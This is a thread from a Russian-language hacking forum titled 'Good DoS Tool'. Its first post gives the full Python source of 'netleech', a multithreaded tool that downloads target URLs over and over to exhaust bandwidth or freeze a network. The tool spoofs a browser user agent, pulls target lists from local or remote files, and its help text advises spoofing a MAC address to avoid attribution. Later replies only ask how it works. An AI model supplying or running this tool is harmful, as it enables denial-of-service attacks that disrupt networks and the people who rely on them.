First Of Hack

Объявление

НАШ НОВЫЙ САЙТ http://xakz.org ЗАХОДИТЕ, РЕГИСТРИРУЙТЕ, Т.К. ЭТОГО ФОРУМА БОЛЬШЕ НЕ БУДЕТ!

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » First Of Hack » Сети » Good DoS Tool


Good DoS Tool

Сообщений 1 страница 4 из 4

1

Good DoS Tool

Source code:

Код:
#!/usr/bin/env python
def versionstr():
return "http://0ni.org -- Bandwidth leecher"

def faq():
return "NetLeech Frequently Asked Questions (FAQ)"

def owner():
return "Created By 0ni -- http://0ni.org"

def c():
return "netleech version 1.00, Copyright (C) 2008 0ni http://0ni.org"
def c1():
return "netleech comes with ABSOLUTELY NO WARRANTY; for details type netleech -c"
def c2():
return "This is free software, and you are welcome to redistribute it"
def c3():
return "under certain conditions; type netleech -c for details."

import sys,os,urllib2,re,string,thread,signal,glob,time
from threading import Thread
from random import randint

def protocolcheck(str):
url = str
p = re.compile('://')
if(p.search(url)==None):
return "http://" + url
else:
return url

class loop(Thread):
def __init__ (self,url,filesize,lid,silent):
Thread.__init__(self)
self.url = protocolcheck(url)
self.filesize = float(filesize)
self.rate=0
self.lid = lid
self.silent = silent
def run(self):
while os.path.exists(gofile):
if(not os.path.exists(pausefile)):
try:
request = urllib2.Request(self.url)
request.add_header('User-Agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4')
opener = urllib2.build_opener()
res2 = opener.open(request)
t1 = time.time()
foo = res2.read()
t2 = time.time()
dat1 = res2.info()
dat2 = dat1.getheader("Content-Length")
if(not isnumber(dat2)):
damage.adddownload(self.filesize)
else:
damage.adddownload(dat2);
self.filesize=float(dat2)
timedownload.adddownload(t2-t1)
globallock.acquire()
rite = open(statfile,"w")
rite.write(str(damage.getdownload()))
rite.close()
globallock.release()
foo =""

self.rate = str(int(self.filesize)/(t2-t1)/1024)
speedlock.acquire()
speeddict[self.lid] = self.rate
if(not self.silent and not os.path.exists(pausedfile)):
os.system("clear")
print versionstr()
totalrate = 0
for klid, vrate in speeddict.iteritems():
totalrate = totalrate + float(vrate)
print "downloading at %.3f KB/s" % totalrate
print "downloaded " + downloadmsg() + " so far"
print "Hogged the network for %.3f seconds" % timedownload.getdownload()
speedlock.release()
except (TypeError,ValueError):
True
except:
print "Cannot find the URL " + self.url + ". Did you type it correctly?"
print sys.exc_info()[1]
else:
if(not os.path.exists(pausedfile)):
pf = open(pausedfile,"w")
pf.close()
os.system("clear")
print "Paused..."
time.sleep(2)
#print self.lid + " sleeping"

if(os.path.exists(dorepfile)):
report = open(reportfile,"w")
report.write(closemsg())
report.close()
os.remove(dorepfile)
drf = open(donerepfile,"w")
drf.close()

os.system("kill "+str(os.getpid()))

def rawrate(self):
return str(self.rate)
def getlid(self):
return self.lid


class spawn(Thread):
def __init__(self, url, times,silent,uid,siid):
Thread.__init__(self)
self.url = protocolcheck(url)
self.times = times
self.filesize=-1
self.silent = silent
sid = uid + "."+str(siid)
self.sid = sid
def run(self):
self.filesize=-1
res = urllib2.urlopen(self.url)
dat1 = res.info()
dat2 = dat1.getheader("Content-Length")
if(isnumber(dat2) or dat2==0):
True
else:
try:
randfile = "temp"+str(self.sid)+".pyget"
handle = open(randfile,"w")
handle.write(res.read())
self.filesize=os.stat(randfile)[6]
handle.close()
os.remove(randfile)
except:
print "Couldn't find the size of the URL(s) " + self.url + "; the bandwidth counter will be incorrect."
print "Try using a different site, or download the sites.txt file from http://0ni.org."
for i in range(0, int(self.times)):
dex = i + 1
if(not self.silent):
print "Starting #" + `dex` + " on " + self.url.rstrip()
lid = str(self.sid) + "." + str(i)
current = loop(self.url,self.filesize,lid,self.silent)
speedlock.acquire()
speeddict[lid]=0
speedlock.release()
current.start()

def isnumber(testme):
try:
t = int(testme)
return True
except (ValueError,TypeError):
try:
u = float(testme)
return True
except (ValueError,TypeError):
return False
return False

class downloadcounter:
def __init__(self):
self.count=0
def adddownload(self,downloaded):
if(isnumber(downloaded)):
self.count+=float(downloaded)
def getdownload(self):
return self.count

def downloadmsg():
if(os.path.exists(statfile)):
globallock.acquire()
num=float(open(statfile,"r").read())
globallock.release()
if(num<1024):
return str(num) + " bytes"
elif(num<1048576):
return "%.3f kilobytes" % (num/1024.0)
elif(num<1073741824):
return "%.3f megabytes" % (num/1048576.0)
elif(num<1073741824):
return "%.3f gigabytes" % (num/1073741824.0)
else:
return "%.3f terabytes" % (num/1099511627776.0)

def downloadort(num):
num = int(num)
if(num<1024):
return str(num) + " bytes"
elif(num<1048576):
return "%.3f kilobytes" % (num/1024.0)
elif(num<1073741824):
return "%.3f megabytes" % (num/1048576.0)
elif(num<1073741824):
return "%.3f gigabytes" % (num/1073741824.0)
else:
return "%.3f terabytes" % (num/1099511627776.0)

def cleanup():
if(os.path.exists(gofile)):
os.remove(gofile)
if(os.path.exists(pausedfile)):
os.remove(pausedfile)

def bigclean():
os.system("rm *.pyget")

def closemsg():
totalrate = 0
speedlock.acquire()
for klid, vrate in speeddict.iteritems():
totalrate = totalrate + float(vrate)
speedlock.release()
foo = ""
foo = "downloaded at %.3f KB/s\n" % totalrate
foo += "downloaded " + downloadmsg() + " total\n"
foo += "Hogged the network for %.3f seconds\n" % timedownload.getdownload()
return foo


damage = downloadcounter()
timedownload = downloadcounter()
globallock = thread.allocate_lock()
speedlock = thread.allocate_lock()
speedlist = ["a"]
speedlist.remove("a")
speeddict={1:"foo"}
del speeddict[1]
uniqueid=str(randint(100,1000000000000))
gofile="go"+uniqueid+".pyget"
statfile = "stat"+uniqueid+".pyget"
reportfile = "report"+uniqueid+".pyget"
dorepfile = "doreport.pyget"
donerepfile = "donereport.pyget"
pausefile = "pause.pyget"
pausedfile = "paused.pyget"

if(len(sys.argv)<=1):
print ""
print c()
print c1()
print c2()
print c3()
print ""
print "Script made by 0ni at http://0ni.org"
print ""
print "If you don't have a clue what to do, or what this does, type netleech -i into a fresh Konsole / Terminal"
print ""
turl = raw_input("Enter the URL or file you wish to download from: ")
times = raw_input("How many loops should I direct there? ")
go = open(gofile,"w")
spiggle = spawn(turl,times,False,uniqueid,0)
print "This window will be busy until you call 'netleech --stop'"
spiggle.start()
go.close()
elif(sys.argv[1]=="--faq" or sys.argv[1]=="-q"):
print ""
print ""
print faq()
print ""
print ""
print owner()
print ""
print "Q: How do I know that the network won't just disconnect me?"
print "A: I have set the User Agent up so that the network is fooled into thinking"
print " that the downloads are coming from an ordinary web browser."
print " You can see and change the user agent with the command netleech -u"
print " or netleech --uagent"
print ""
print "Q: What is a suitable amount of loops to send?"
print "A: numberOfLoops = (ramInKb / 100) * 2 -That equation will allow 50kb per loop"
print " For example:"
print " 2GB RAM = (2097152KB / 100) *2 = 41943 loops at the same time."
print " Divide this number further by the number of sites your downloading from."
print ""
print "Q: My internet stops working whenever I run this."
print "A: That is the whole point in this script, gratz! You're now a tool."
print ""
print "Q: Where can I get more help?"
print "A: http://0ni.org or email webmaster@0ni.org with the subject netleech."
print ""
print "Q: My computer slows down or grinds to a halt when running this."
print "A: Try sending fewer loops."
print ""
print "Q: Will this ever be available for the Windows platform?"
print "A: netleech currently only works for the Linux Unix and Mac platforms."
print " I am working on a Windows version currently, hopefully it will be available in a future version."
print ""
print "Q: I have found a bug and / or have a suggestion. Where do I report it?"
print "A: Report bugs, spelling mistakes suggestions etc to either:"
print " http://0ni.org and / or"
print " webmaster@0ni.org"
elif(sys.argv[1]=="--uagent" or sys.argv[1]=="-u"):
print ""
print "Current User Agent is Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4"
print "To change this edit lines 36 and 256 of the code."
elif(sys.argv[1]=="--info" or sys.argv[1]=="-i"):
print versionstr()
print ""
print "Welcome to 0ni's Bandwidth leecher"
print ""
print "http://0ni.org --Great Hacks, Great Community"
print ""
print "This program can be used to use up someone's bandwidth allowence up"
print "or to completely freeze a network to a halt."
print ""
print "Before using this spoof your MAC address using SMAC"
print "then change it back again. There is no point in spoofing your IP address."
print ""
print ""
print "Type netleech -h to display the different functions and usages."
print "Type netleech -q to display the FAQ."
print "Type netleech -c to display the Copyright information."
print ""
print ""
print c()
print c1()
print c2()
print c3()
print ""
print "Help and documentation is supplied at 0ni.org"
elif(sys.argv[1]=="--copyright" or sys.argv[1]=="-c" or len(sys.argv)==1):
print "For the licence please visit http://0ni.org/netleech/licence.txt"
elif(sys.argv[1]=="--help" or sys.argv[1]=="-h" or len(sys.argv)==1):
print versionstr()
print ""
print "Usage: netleech [url [number | [url [url [url ... ]]] [-q]] ]"
print " netleech -f|--file filename [number [-q]]"
print " netleech -w|--web url [number [-q]]"
print " netleech -x|--stop|-xx"
print " netleech -h|--help"
print " netleech -i|--info"
print " netleech -q|--faq"
print " netleech -u|--uagent"
print " netleech -c|--copyright"
print "netleech 0ni.org 10"
print "-Will start 10 loops repeatedly downloading 0ni.org"
print ""
print "netleech google.com 0ni.org ask.com"
print "-Will ask for a number of loops to start repeatedly downloading from each url"
print ""
print "netleech --file targets.txt 10"
print "-Will start 10 loops repeatedly downloading each line in targets.txt"
print "-This MUST be in your home directory; for example: ./home/joeblogz/targets.txt"
print ""
print "netleech -w 0ni.org/targets.txt"
print "-Will start 10 loops repeatedly downloading each line in 0ni.org/targets.txt"
print "-I have created a list of suitable targets to download from in the above file."
print ""
print "netleech -x will tell all loops to kill themselves. -xx will kill all loops."
print "other switches: -s|--stat -p|--pause -q|--quiet"
elif(sys.argv[1]=="--web" or sys.argv[1]=="-w"):
cleanup()
tfile = urllib2.urlopen(protocolcheck(sys.argv[2])).read()
tlist = tfile.split("\n")
times = 0
besilent = False
if(len(sys.argv)>=4):
times = sys.argv[3]
if(len(sys.argv)==5 and (sys.argv[4]=="-q" or sys.argv[4]=="--quiet")):
besilent=True
else:
times = raw_input("How many loops should I direct there? ")
go = open(gofile,"w")
print "This window will be busy until you call 'netleech --stop'"
count=0
for line in tlist:
mother = spawn(line, times,besilent,uniqueid,count)
count = count+1
mother.start()
go.close()
elif(sys.argv[1]=="--file" or sys.argv[1]=="-f"):
cleanup()
times = 0
besilent = False
if(len(sys.argv)>=4):
times = sys.argv[3]
if(len(sys.argv)==5 and (sys.argv[4]=="-q" or sys.argv[4]=="--quiet")):
besilent=True
else:
times = raw_input("How many loops should I direct there? ")
tfile = open(sys.argv[2],"r")
tlist = tfile.readlines()
go = open(gofile,"w")
print "This window will be busy until you call 'netleech --stop'"
count=0
for line in tlist:
mother = spawn(line, times,besilent,uniqueid,count)
count = count +1
mother.start()
go.close()
elif(sys.argv[1]=="-p" or sys.argv[1]=="--pause"):
if(os.path.exists(pausefile)):
os.remove(pausefile)
if(os.path.exists(pausedfile)):
os.remove(pausedfile)
else:
p = open(pausefile,"w")
p.close()
elif(sys.argv[1]=="--xtra"):
print "Made by 0ni, http://0ni.org"
elif(sys.argv[1]=="-x" or sys.argv[1]=="--stop"):
os.system("clear")
drf = open(dorepfile,"w")
print "Stopping..."
os.system("rm go*.pyget")
seconds = 0
while(not os.path.exists(donerepfile) and seconds <10):
time.sleep(.5)
seconds +=.5
os.system("cat report*.pyget")
bigclean()
elif(sys.argv[1]=="-xx"):
os.system("clear")
drf = open(dorepfile,"w")
print "Terminating!"
try:
os.system("rm go*.pyget")
except:
1+1
seconds =0
while(not os.path.exists(donerepfile) and seconds <10):
time.sleep(.5)
seconds+=.5
try:
os.system("cat report*.pyget")
except:
print "No reports found"
pids = os.popen("ps -ax | grep python | grep -v 'grep'").readlines()
for pid in pids:
tpid = pid.lstrip().rstrip().split(" ")[0]
os.system("kill -9 " + tpid)
bigclean()
elif(sys.argv[1]=="-s" or sys.argv[1]=="--stat"):
print "This function is not implemented into this program"
print "Feel free to add it in yourself"
elif(len(sys.argv)==2):
cleanup()
times = raw_input("How many loops should I direct there? ")
go = open(gofile,"w")
spiggle = spawn(sys.argv[1],times,False,uniqueid,0)
print "This window will be busy until you call 'netleech --stop'"
spiggle.start()
go.close()
else:
cleanup()
if(isnumber(sys.argv[2])):
turl = sys.argv[1]
times = sys.argv[2]
besilent =False
if(len(sys.argv)==4 and (sys.argv[3]=="-q" or sys.argv[3]=="--quiet")):
besilent=True
go = open(gofile,"w")
print "This window will be busy until you call 'netleech --stop'"
mother = spawn(turl, times,besilent,uniqueid,0)
mother.start()
go.close()
else:
times = raw_input("How many loops should I direct there? ")
targs = sys.argv
besilent = False
if(targs[-1]=="-q" or targs[-1]=="--quiet"):
targs.remove(targs[-1])
besilent=True
targs.remove(targs[0])
go = open(gofile,"w")
print "This window will be busy until you call 'netleech --stop'"
count=0
for url in targs:
mother = spawn(url,times,besilent,uniqueid,count)
count = count + 1
mother.start()
go.close()

0

2

Как работает?

0

3

ау обьясните

0

4

зеаю

0


Вы здесь » First Of Hack » Сети » Good DoS Tool